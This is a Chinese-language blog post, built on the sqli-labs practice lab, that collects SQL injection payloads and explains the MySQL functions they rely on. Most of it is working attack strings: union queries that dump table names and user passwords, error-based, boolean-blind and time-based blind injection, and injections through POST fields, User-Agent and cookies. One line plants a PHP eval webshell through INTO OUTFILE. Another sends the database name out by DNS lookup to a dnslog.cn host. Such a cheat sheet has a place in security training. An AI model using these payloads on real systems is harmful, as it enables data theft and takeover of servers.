SQL注入语句总结及常用函数解释

常用注入时所用函数介绍-----参考sql-labs总结

updatexml() 函数

UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称; 第二个参数:XPath_string (Xpath格式的字符串); 第三个参数:new_value,String格式,替换查找到的符合条件的数据;

该函数对XPath_string进行查询操作,如果符合语法格式要求,则用第三个参数替换,不符合语法格式要求,则会报错并带出查询的结果

例:?id=1' and updatexml(1,concat(0x7e,(查询的内容),0x7e),1)--+

0x7e代表波浪号,分割作用方便观察信息

concat函数

将多个字符串连接成一个字符串。

concat(str1, str2,...) 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

substr函数

substr(string, start<,length>)

从string的start位置开始提取字符串

例:substr(aaa,1,1) 从aaa的第一个位置取长度为1的字符串

length函数

取字符串长度函数

例:length(aaa)=3

ascii函数

取字符的ascii码

例:ascii(s)=115

limit函数

limit 0,1 的含义就是从你的表中的第0个数据开始,只读取一个,limit 0,1根据网站的实际情况而定,如果存在多列需要加上,例如该页面只有一个显示位,而在网站后台存在多列数据的情况下一个显示位显示无法完整回显会发生错误

例:?id=-1' and updatexml(1,concat(0x7e,(Select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+

ord函数

ord() 函数以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值,如果所给的 Unicode 字符超出了你的 Python 定义范围,则会引发一个 TypeError 的异常。

常用语句(get方式)

一 有回显

order by 4 -- - 判断有多少列 union select 1,2,3 -- - 判断数据显示点 union select 1,user(),database()­­ -- - ­显示出登录用户和数据库名 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- - 查看数据库有哪些表 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- - 查看对应表有哪些列 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- - 查看账号密码信息

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "E:\PHPTutorial\WWW\sqli-labs-master\Less-7\111.PHP"--+

写入木马

二 无回显

求数据库的长度 ?id=1' and length(database()) = 8 --+

判断数据库第一位的字母 ?id=1' and substr(database(),1,1) = 's' --+

求数据库中表的长度 第一个表名长度:'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+ 第二个表名长度 'and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8--+ 长度为6、8

查询第一个表的第一位字符 'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=117--+

查询第二个表的第二个字符 'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=117--+

判断字段的长度 'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=6--+‘

判断字段长度名称第一个字母的ascii 'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+ string为字符串;start为起始位置;length为长度

判断第二位长度名称第一个字母的ascii 'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115--+

返回正常说明长度小于10 and exists(select * from admin where id=1 and len(name)< 10)

返回正常说明长度大于5 and exists(select * from admin where id=1 and len(name)> 5)

返回正常说明密码第一个字符是应用('0'='48','a'='65','A‘=97) and exists (select * from admin where id=1 and mid(password,1,1)>'a')

mid() 截取 mid(column_name,start,length)

时间盲注 ?id=1’ and if ((ascii(substr(database(),1,1))>50),sleep(3),1) – + ?id=1’ and if ((ascii(substr(database(),1,1))<123),sleep(3),1) – + ?id=1’ and if ((ascii(substr(database(),1,1))=115),sleep(3),1) – +

常用方式(POST方式)

admin‘ and 1=1 -- +

admin') and 1=1 -- +

admin") and 1=1 -- +

admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

基于’)的错误回显注入

admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

基于“的错误回显注入

admin' and load_file(concat("\\",(database()),".qyfyji.dnslog.cn\1.txt")) -- -

基于’的POST型注入(利用dns回显)

' and (updatexml(1,concat(0x7e, database(),0x7e),1))#

基于’的密码报错注入

',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

基于’的User-Agent:报头文报错注入

',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

基于useragent 或refer的注入

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#

基于cookie的注入

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值